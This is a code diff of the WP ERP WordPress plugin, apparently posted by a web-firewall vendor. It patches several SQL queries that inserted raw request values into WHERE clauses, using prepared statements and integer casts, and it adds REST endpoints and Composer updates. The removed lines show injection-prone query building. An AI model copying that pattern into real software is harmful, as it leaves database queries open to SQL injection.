     $extra_data['notification_time']          = ( isset( $postdata['notification_time'] ) && $extra_data['allow_notification'] == 'true' ) ? $postdata['notification_time'] : '';
     $extra_data['notification_time_interval'] = ( isset( $postdata['notification_time_interval'] ) && $extra_data['allow_notification'] == 'true' ) ? $postdata['notification_time_interval'] : '';

-    $start_time = ( isset( $postdata['start_time'] ) && ( $extra_data['all_day'] === 'false' ) ) ? $postdata['start_time'] : '00:00:00';
-    $end_time   = ( isset( $postdata['end_time'] ) &&  ( $extra_data['all_day'] === 'false' ) ) ? $postdata['end_time'] : '00:00:00';
+    $start_time = ( ! empty( $postdata['start_time'] ) && ( $extra_data['all_day'] === 'false' ) ) ? $postdata['start_time'] : '00:00:00';
+    $end_time   = ( ! empty( $postdata['end_time'] ) &&  ( $extra_data['all_day'] === 'false' ) ) ? $postdata['end_time'] : '00:00:00';

     if ( $extra_data['allow_notification'] == 'true' ) {
         $notify_date = new DateTime( $postdata['start_date'] . $start_time );
@@ -791,8 +798,10 @@
                 }

                 $value['extra']['invited_user'] = [
-                    'id'   => $value['created_by']['ID'],
-                    'name' => get_the_author_meta( 'display_name', $value['created_by']['ID'] )
+                    [
+                        'id'   => $value['created_by']['ID'],
+                        'name' => get_the_author_meta( 'display_name', $value['created_by']['ID'] ),
+                    ],
                 ];
             }

@@ -2373,7 +2382,7 @@
                                 } elseif ( 'if_has' === $search_val ) {
                                     $custom_sql['where'][] = "( $field is not null AND $field != '' ) $add_or";
                                 } else {
-                                    $custom_sql['where'][] = "$field $search_condition '$search_val' $add_or";
+                                    $custom_sql['where'][] = $wpdb->prepare( "$field $search_condition %s $add_or", $search_val );
                                 }

                                 $j ++;
@@ -2392,9 +2401,9 @@
                             $add_or                 = ( $j === count( $value ) - 1 ) ? '' : ' OR ';

                             if ( count( $key_value ) > 1 ) {
-                                $custom_sql['where'][] = "( country $condition '$key_value[0]' AND state $condition '$key_value[1]')$add_or";
+                                $custom_sql['where'][] = $wpdb->prepare( "( country $condition %s AND state $condition %s )$add_or", $key_value[0], $key_value[1] );
                             } else {
-                                $custom_sql['where'][] = "(country $condition '$key_value[0]')$add_or";
+                                $custom_sql['where'][] = $wpdb->prepare( "(country $condition %s )$add_or", $key_value[0] );
                             }

                             $j ++;
@@ -2423,16 +2432,16 @@
                             switch ( $condition ) {
                                 case 'NOT LIKE':
                                     $search       = str_replace( '!~', '', $search );
-                                    $and_clause[] = "( subscriber.group_id = {$search} AND subscriber.unsubscribe_at IS NOT NULL )";
+                                    $and_clause[] = $wpdb->prepare( "( subscriber.group_id = %d AND subscriber.unsubscribe_at IS NOT NULL )", $search );
                                     break;

                                 case '!=':
                                     $search       = str_replace( '!', '', $search );
-                                    $and_clause[] = "subscriber.group_id != {$search}";
+                                    $and_clause[] = $wpdb->prepare( "subscriber.group_id != %d", $search );
                                     break;

                                 default:
-                                    $and_clause[] = "( subscriber.group_id = {$search} AND subscriber.unsubscribe_at IS NULL )";
+                                    $and_clause[] = $wpdb->prepare( "( subscriber.group_id = %d AND subscriber.unsubscribe_at IS NULL )", $search );
                                     break;
                             }
                         }
@@ -2568,7 +2577,7 @@
         return $sql;
     }

-    $sql['post_where_queries'][] = 'AND people.id = ' . $args['test_user'];
+    $sql['post_where_queries'][] = 'AND people.id = ' . absint( $args['test_user'] );

     return $sql;
 }
@@ -2852,7 +2861,7 @@
             if ( $schedule['start_date'] < current_time( 'mysql' ) ) {
                 $time = gmdate( 'g:i a', strtotime( $schedule['start_date'] ) );
             } else {
-                if ( gmdate( 'g:i a', strtotime( $schedule['start_date'] ) ) == gmdate( 'g:i a', strtotime( $schedule['end_date'] ) ) || ! $schedule['end_date'] ) {
+                if ( ! $schedule['end_date'] || gmdate( 'g:i a', strtotime( $schedule['start_date'] ) ) == gmdate( 'g:i a', strtotime( $schedule['end_date'] ) ) ) {
                     $time = gmdate( 'g:i a', strtotime( $schedule['start_date'] ) );
                 } else {
                     $time = gmdate( 'g:i a', strtotime( $schedule['start_date'] ) ) . ' to ' . gmdate( 'g:i a', strtotime( $schedule['end_date'] ) );
--- a/erp/modules/crm/views/js-templates/single-schedule-details.php
+++ b/erp/modules/crm/views/js-templates/single-schedule-details.php
@@ -7,7 +7,7 @@
         <# } #>

         <# if ( data.schedule.type == 'tasks' ) { #>
-            <?php esc_attr_e( 'assigned a task', 'erp' ); ?>
+            <?php esc_attr_e( 'assigned task', 'erp' ); ?>
         <# } else if( ( data.schedule.type == 'log_activity' ) && ( new Date() < new Date( data.schedule.start_date ) ) ) { #>
             <?php esc_attr_e( 'have scheduled', 'erp' ); ?>
         <# } else { #>
--- a/erp/modules/crm/views/schedules.php
+++ b/erp/modules/crm/views/schedules.php
@@ -150,6 +150,20 @@
                             'step': 15
                         });

+                        // Pre-fill time fields with current time so schedule doesn't default to 12:00 AM
+                        var now = new Date();
+                        var hh  = now.getHours();
+                        var mm  = Math.round( now.getMinutes() / 15 ) * 15;
+                        if ( mm === 60 ) { mm = 0; hh++; }
+                        var ampm   = hh >= 12 ? 'pm' : 'am';
+                        var hour12 = hh % 12 || 12;
+                        var defaultTime = hour12 + ':' + ( mm < 10 ? '0' + mm : mm ) + ' ' + ampm;
+                        jQuery( '.erp-time-field' ).each( function() {
+                            if ( ! jQuery( this ).val() ) {
+                                jQuery( this ).val( defaultTime );
+                            }
+                        } );
+
                         $( 'select.erp-crm-contact-list-dropdown' ).select2({
                             allowClear: true,
                             placeholder: $(this).attr( 'data-placeholder' ),
--- a/erp/modules/hrm/includes/API/CompanyController.php
+++ b/erp/modules/hrm/includes/API/CompanyController.php
@@ -164,6 +164,16 @@
                 'permission_callback' => '__return_true',
             ],
         ] );
+
+        register_rest_route( $this->namespace, '/' . $this->rest_base . '/work-days', [
+            [
+                'methods'             => WP_REST_Server::READABLE,
+                'callback'            => [ $this, 'get_work_days' ],
+                'permission_callback' => function ( $request ) {
+                    return current_user_can( 'erp_view_list' );
+                },
+            ],
+        ] );
     }

     /**
@@ -319,6 +329,50 @@
         return $response;
     }

+    /**
+     * Get the company weekly work-day schedule.
+     *
+     * Mirrors WP ERP HR settings → Work Days. Returns the raw per-weekday hours
+     * (0 = non-working) plus derived state labels and working/weekend lists so
+     * clients (e.g. the mobile app) can render the schedule without re-deriving
+     * the full/half/off mapping themselves.
+     *
+     * @param WP_REST_Request $request
+     *
+     * @return WP_REST_Response
+     */
+    public function get_work_days( $request ) {
+        $hours = erp_hr_get_work_days();
+
+        $labels       = [];
+        $working_days = [];
+        $weekends     = [];
+
+        foreach ( $hours as $day => $value ) {
+            $value = (int) $value;
+
+            if ( 0 === $value ) {
+                $labels[ $day ] = 'non_working';
+                $weekends[]     = $day;
+            } elseif ( $value >= 8 ) {
+                $labels[ $day ] = 'full_day';
+                $working_days[] = $day;
+            } else {
+                $labels[ $day ] = 'half_day';
+                $working_days[] = $day;
+            }
+        }
+
+        return rest_ensure_response(
+            [
+                'work_days'    => $hours,        // { mon: 8, ..., sat: 0, sun: 0 }
+                'states'       => $labels,       // { mon: 'full_day', ..., sun: 'non_working' }
+                'working_days' => $working_days, // [ 'mon', ..., 'fri' ]
+                'weekends'     => $weekends,     // [ 'sat', 'sun' ]
+            ]
+        );
+    }
+
     public function get_genders() {
         return rest_ensure_response( erp_hr_get_genders() );
     }
--- a/erp/modules/hrm/includes/API/EmployeesController.php
+++ b/erp/modules/hrm/includes/API/EmployeesController.php
@@ -1267,10 +1267,18 @@
             return new WP_Error( 'rest_invalid_financial_year', __( 'No financial year defined for current year.', 'erp' ), [ 'status' => 404 ] );
         }

+        // Default to all leave statuses: 1 = Approved, 2 = Pending, 3 = Rejected.
+        // Allow callers to filter by passing a `status` query param (single value or comma-separated list).
+        $status = [ 1, 2, 3 ];
+
+        if ( ! empty( $request['status'] ) ) {
+            $status = array_filter( array_map( 'absint', wp_parse_list( $request['status'] ) ) );
+        }
+
         $args = [
             'user_id'   => $user_id,
             'f_year'    => $f_year->id,
-            'status'    => 1,
+            'status'    => $status,
             'orderby'   => 'created_at',
             'policy_id' => 0,
             'number'    => -1,
@@ -1278,6 +1286,29 @@
         ];
         $leaves = erp_hr_get_leave_requests( $args );

+        if ( ! empty( $leaves['data'] ) ) {
+            foreach ( $leaves['data'] as $leave ) {
+                $attachments      = [];
+                $leave_attachment = get_user_meta( $leave->user_id, 'leave_document_' . $leave->id );
+
+                if ( ! empty( $leave_attachment ) ) {
+                    foreach ( $leave_attachment as $attachment_id ) {
+                        $file_url = wp_get_attachment_url( $attachment_id );
+
+                        if ( $file_url ) {
+                            $attachments[] = [
+                                'id'   => (int) $attachment_id,
+                                'url'  => esc_url_raw( $file_url ),
+                                'name' => basename( $file_url ),
+                            ];
+                        }
+                    }
+                }
+
+                $leave->attachments = $attachments;
+            }
+        }
+
         $response = rest_ensure_response( $leaves['data'] );
         $response = $this->format_collection_response( $response, $request, $leaves['total'] );

--- a/erp/modules/hrm/includes/API/LeaveRequestsController.php
+++ b/erp/modules/hrm/includes/API/LeaveRequestsController.php
@@ -4,6 +4,7 @@

 use WeDevsERPAPIREST_Controller;
 use WeDevsERPHRMEmployee;
+use WeDevsERPHRMModelsLeaveEntitlement;
 use WP_Error;
 use WP_REST_Response;
 use WP_REST_Server;
@@ -182,6 +183,149 @@
                 },
             ],
         ]);
+
+        register_rest_route( $this->namespace, '/' . $this->rest_base . '/calculate-days', [
+            [
+                'methods'             => WP_REST_Server::READABLE,
+                'callback'            => [ $this, 'calculate_leave_days' ],
+                'args'                => [
+                    'employee_id' => [
+                        'description'       => __( 'Employee (user) id. Defaults to the current user; only leave managers may query others.', 'erp' ),
+                        'type'              => 'integer',
+                        'required'          => false,
+                        'sanitize_callback' => 'absint',
+                    ],
+                    'type' => [
+                        'description'       => __( 'Leave entitlement (policy) id.', 'erp' ),
+                        'type'              => 'integer',
+                        'required'          => true,
+                        'sanitize_callback' => 'absint',
+                    ],
+                    'from' => [
+                        'description'       => __( 'Start date (Y-m-d).', 'erp' ),
+                        'type'              => 'string',
+                        'required'          => true,
+                        'sanitize_callback' => 'sanitize_text_field',
+                    ],
+                    'to' => [
+                        'description'       => __( 'End date (Y-m-d).', 'erp' ),
+                        'type'              => 'string',
+                        'required'          => true,
+                        'sanitize_callback' => 'sanitize_text_field',
+                    ],
+                ],
+                'permission_callback' => function ( $request ) {
+                    $employee_id = absint( $request['employee_id'] );
+
+                    if ( $employee_id <= 0 ) {
+                        $employee_id = get_current_user_id();
+                    }
+
+                    // erp_leave_create_request maps to a self-or-HR-manager meta cap
+                    // (see erp_hr_map_meta_caps): the employee passes for themselves,
+                    // an HR manager passes for anyone.
+                    return current_user_can( 'erp_leave_create_request', $employee_id );
+                },
+            ],
+        ]);
+    }
+
+    /**
+     * Calculate the work-day breakdown for a prospective leave request.
+     *
+     * Mirrors the admin-ajax `erp-hr-leave-request-req-date` handler so clients
+     * (e.g. the mobile app) can preview the day-by-day breakdown, with weekends,
+     * holidays and the sandwich rule applied, before submitting a leave request.
+     *
+     * The employee defaults to the current user. An `employee_id` override is
+     * honoured only for users who can manage leave (`erp_leave_manage`), so an
+     * ordinary employee cannot inspect another employee's leave duration.
+     *
+     * @param WP_REST_Request $request
+     *
+     * @return WP_Error|WP_REST_Response
+     */
+    public function calculate_leave_days( $request ) {
+        $current     = get_current_user_id();
+        $employee_id = absint( $request['employee_id'] );
+
+        if ( $employee_id <= 0 || $employee_id === $current ) {
+            $employee_id = $current;
+        } elseif ( ! current_user_can( 'erp_leave_manage' ) ) {
+            return new WP_Error( 'rest_forbidden_employee', __( 'You are not allowed to view leave duration for another employee.', 'erp' ), [ 'status' => 403 ] );
+        }
+
+        $policy_id  = absint( $request['type'] );
+        $start_date = sanitize_text_field( $request['from'] );
+        $end_date   = sanitize_text_field( $request['to'] );
+
+        if ( $start_date > $end_date ) {
+            return new WP_Error( 'rest_invalid_range', __( 'Invalid date range', 'erp' ), [ 'status' => 422 ] );
+        }
+
+        $entitlement = LeaveEntitlement::find( $policy_id );
+
+        if ( ! $entitlement ) {
+            return new WP_Error( 'rest_invalid_policy', __( 'Invalid leave policy.', 'erp' ), [ 'status' => 422 ] );
+        }
+
+        $f_year_start = erp_current_datetime()->setTimestamp( $entitlement->financial_year->start_date )->format( 'Y-m-d' );
+        $f_year_end   = erp_current_datetime()->setTimestamp( $entitlement->financial_year->end_date )->format( 'Y-m-d' );
+
+        if ( ( $start_date < $f_year_start || $start_date > $f_year_end ) || ( $end_date < $f_year_start || $end_date > $f_year_end ) ) {
+            return new WP_Error(
+                'rest_invalid_duration',
+                sprintf(
+                    /* translators: 1: financial year start, 2: financial year end */
+                    __( 'Invalid leave duration. Please apply between %1$s and %2$s.', 'erp' ),
+                    erp_format_date( $f_year_start ),
+                    erp_format_date( $f_year_end )
+                ),
+                [ 'status' => 422 ]
+            );
+        }
+
+        $leave_record_exist = erp_hrm_is_leave_recored_exist_between_date( $start_date, $end_date, $employee_id, $entitlement->f_year );
+
+        if ( $leave_record_exist ) {
+            return new WP_Error( 'rest_leave_exists', __( 'Existing Leave Record found within selected range!', 'erp' ), [ 'status' => 422 ] );
+        }
+
+        $is_extra_leave_enabled = get_option( 'enable_extra_leave', 'no' );
+
+        if ( 'yes' !== $is_extra_leave_enabled ) {
+            $is_policy_valid = erp_hrm_is_valid_leave_duration( $start_date, $end_date, $policy_id, $employee_id );
+
+            if ( ! $is_policy_valid ) {
+                return new WP_Error( 'rest_no_leave_left', __( 'Sorry! You do not have any leave left under this leave policy', 'erp' ), [ 'status' => 422 ] );
+            }
+        }
+
+        $days = erp_hr_get_work_days_between_dates( $start_date, $end_date, $employee_id );
+
+        if ( is_wp_error( $days ) ) {
+            return $days;
+        }
+
+        // Human-readable date labels, matching the admin-ajax response.
+        foreach ( $days['days'] as &$date ) {
+            $date['date'] = erp_format_date( $date['date'], 'D, M d' );
+        }
+        unset( $date );
+
+        $leave_count   = $days['total'];
+        $days['total'] = sprintf( '%d %s', $days['total'], _n( 'day', 'days', $days['total'], 'erp' ) );
+
+        if ( 1 === intval( $days['sandwich'] ) ) {
+            $days['total'] .= ' ' . __( '(Sandwich rule applied)', 'erp' );
+        }
+
+        return rest_ensure_response(
+            [
+                'print'       => $days,
+                'leave_count' => $leave_count,
+            ]
+        );
     }

     /**
@@ -663,7 +807,23 @@
      */
     public function prepare_item_for_response( $item, $request, $additional_fields = [] ) {
         $employee = new Employee( $item->user_id );
-error_log(print_r( [$item], true ));
+
+        $attachments      = [];
+        $leave_attachment = get_user_meta( $item->user_id, 'leave_document_' . $item->id );
+
+        if ( ! empty( $leave_attachment ) ) {
+            foreach ( $leave_attachment as $attachment_id ) {
+                $file_url = wp_get_attachment_url( $attachment_id );
+
+                if ( $file_url ) {
+                    $attachments[] = [
+                        'id'   => (int) $attachment_id,
+                        'url'  => esc_url_raw( $file_url ),
+                        'name' => basename( $file_url ),
+                    ];
+                }
+            }
+        }

         $data = [
             'id'            => (int) $item->id,
@@ -675,6 +835,7 @@
             'start_date'    => erp_format_date( $item->start_date, 'Y-m-d' ),
             'end_date'      => erp_format_date( $item->end_date, 'Y-m-d' ),
             'reason'        => $item->reason,
+            'attachments'   => $attachments,
             'comments'      => isset( $item->comments ) ? $item->comments : '',
             'applied_on'    => erp_format_date( $item->created_at, 'Y-m-d H:i:s' ),
             'policy_name'   => isset( $item->policy_name ) ? $item->policy_name : '',
@@ -763,6 +924,12 @@
                         'sanitize_callback' => 'sanitize_text_field',
                     ],
                 ],
+                'attachments' => [
+                    'description' => __( 'Attachments uploaded with the leave request.', 'erp' ),
+                    'type'        => 'array',
+                    'context'     => [ 'view', 'edit' ],
+                    'readonly'    => true,
+                ],
             ],
         ];

--- a/erp/vendor/autoload.php
+++ b/erp/vendor/autoload.php
@@ -2,6 +2,21 @@

 // autoload.php @generated by Composer

+if (PHP_VERSION_ID < 50600) {
+    if (!headers_sent()) {
+        header('HTTP/1.1 500 Internal Server Error');
+    }
+    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
+    if (!ini_get('display_errors')) {
+        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
+            fwrite(STDERR, $err);
+        } elseif (!headers_sent()) {
+            echo $err;
+        }
+    }
+    throw new RuntimeException($err);
+}
+
 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit7b8b524b8d09b2b0b4cf2b7e5be5dbb1::getLoader();
+return ComposerAutoloaderInit8c832cdc6459f9d95a738614bf88dd0b::getLoader();
--- a/erp/vendor/composer/ClassLoader.php
+++ b/erp/vendor/composer/ClassLoader.php
@@ -42,35 +42,37 @@
  */
 class ClassLoader
 {
-    /** @var ?string */
+    /** @var Closure(string):void */
+    private static $includeFile;
+
+    /** @var string|null */
     private $vendorDir;

     // PSR-4
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, int>>
+     * @var array<string, array<string, int>>
      */
     private $prefixLengthsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, array<int, string>>
+     * @var array<string, list<string>>
      */
     private $prefixDirsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr4 = array();

     // PSR-0
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, string[]>>
+     * List of PSR-0 prefixes
+     *
+     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
+     *
+     * @var array<string, array<string, list<string>>>
      */
     private $prefixesPsr0 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr0 = array();

@@ -78,8 +80,7 @@
     private $useIncludePath = false;

     /**
-     * @var string[]
-     * @psalm-var array<string, string>
+     * @var array<string, string>
      */
     private $classMap = array();

@@ -87,29 +88,29 @@
     private $classMapAuthoritative = false;

     /**
-     * @var bool[]
-     * @psalm-var array<string, bool>
+     * @var array<string, bool>
      */
     private $missingClasses = array();

-    /** @var ?string */
+    /** @var string|null */
     private $apcuPrefix;

     /**
-     * @var self[]
+     * @var array<string, self>
      */
     private static $registeredLoaders = array();

     /**
-     * @param ?string $vendorDir
+     * @param string|null $vendorDir
      */
     public function __construct($vendorDir = null)
     {
         $this->vendorDir = $vendorDir;
+        self::initializeIncludeClosure();
     }

     /**
-     * @return string[]
+     * @return array<string, list<string>>
      */
     public function getPrefixes()
     {
@@ -121,8 +122,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, array<int, string>>
+     * @return array<string, list<string>>
      */
     public function getPrefixesPsr4()
     {
@@ -130,8 +130,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirs()
     {
@@ -139,8 +138,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirsPsr4()
     {
@@ -148,8 +146,7 @@
     }

     /**
-     * @return string[] Array of classname => path
-     * @psalm-return array<string, string>
+     * @return array<string, string> Array of classname => path
      */
     public function getClassMap()
     {
@@ -157,8 +154,7 @@
     }

     /**
-     * @param string[] $classMap Class to filename map
-     * @psalm-param array<string, string> $classMap
+     * @param array<string, string> $classMap Class to filename map
      *
      * @return void
      */
@@ -175,24 +171,25 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string          $prefix  The prefix
-     * @param string[]|string $paths   The PSR-0 root directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix
+     * @param list<string>|string $paths   The PSR-0 root directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    (array) $paths
+                    $paths
                 );
             }

@@ -201,19 +198,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+            $this->prefixesPsr0[$first][$prefix] = $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -222,9 +219,9 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string          $prefix  The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths   The PSR-4 base directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths   The PSR-4 base directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
      *
@@ -232,17 +229,18 @@
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    (array) $paths
+                    $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -252,18 +250,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
+            $this->prefixDirsPsr4[$prefix] = $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -272,8 +270,8 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string          $prefix The prefix
-     * @param string[]|string $paths  The PSR-0 base directories
+     * @param string              $prefix The prefix
+     * @param list<string>|string $paths  The PSR-0 base directories
      *
      * @return void
      */
@@ -290,8 +288,8 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string          $prefix The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths  The PSR-4 base directories
+     * @param string              $prefix The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
      *
@@ -425,7 +423,8 @@
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            includeFile($file);
+            $includeFile = self::$includeFile;
+            $includeFile($file);

             return true;
         }
@@ -476,9 +475,9 @@
     }

     /**
-     * Returns the currently registered loaders indexed by their corresponding vendor directories.
+     * Returns the currently registered loaders keyed by their corresponding vendor directories.
      *
-     * @return self[]
+     * @return array<string, self>
      */
     public static function getRegisteredLoaders()
     {
@@ -555,18 +554,26 @@

         return false;
     }
-}

-/**
- * Scope isolated include.
- *
- * Prevents access to $this/self from included files.
- *
- * @param  string $file
- * @return void
- * @private
- */
-function includeFile($file)
-{
-    include $file;
+    /**
+     * @return void
+     */
+    private static function initializeIncludeClosure()
+    {
+        if (self::$includeFile !== null) {
+            return;
+        }
+
+        /**
+         * Scope isolated include.
+         *
+         * Prevents access to $this/self from included files.
+         *
+         * @param  string $file
+         * @return void
+         */
+        self::$includeFile = Closure::bind(static function($file) {
+            include $file;
+        }, null, null);
+    }
 }
--- a/erp/vendor/composer/InstalledVersions.php
+++ b/erp/vendor/composer/InstalledVersions.php
@@ -21,23 +21,36 @@
  * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
  *
  * To require its presence, you can require `composer-runtime-api ^2.0`
+ *
+ * @final
  */
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
-     * @psalm-var array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}|array{}|null
+     * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;

     /**
      * @var array[]
-     * @psalm-var array<string, array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
+     * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
      */
     private static $installedByVendor = array();

@@ -96,7 +109,7 @@
     {
         foreach (self::getInstalled() as $installed) {
             if (isset($installed['versions'][$packageName])) {
-                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
+                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
             }
         }

@@ -117,7 +130,7 @@
      */
     public static function satisfies(VersionParser $parser, $packageName, $constraint)
     {
-        $constraint = $parser->parseConstraints($constraint);
+        $constraint = $parser->parseConstraints((string) $constraint);
         $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

         return $provided->matches($constraint);
@@ -241,7 +254,7 @@

     /**
      * @return array
-     * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.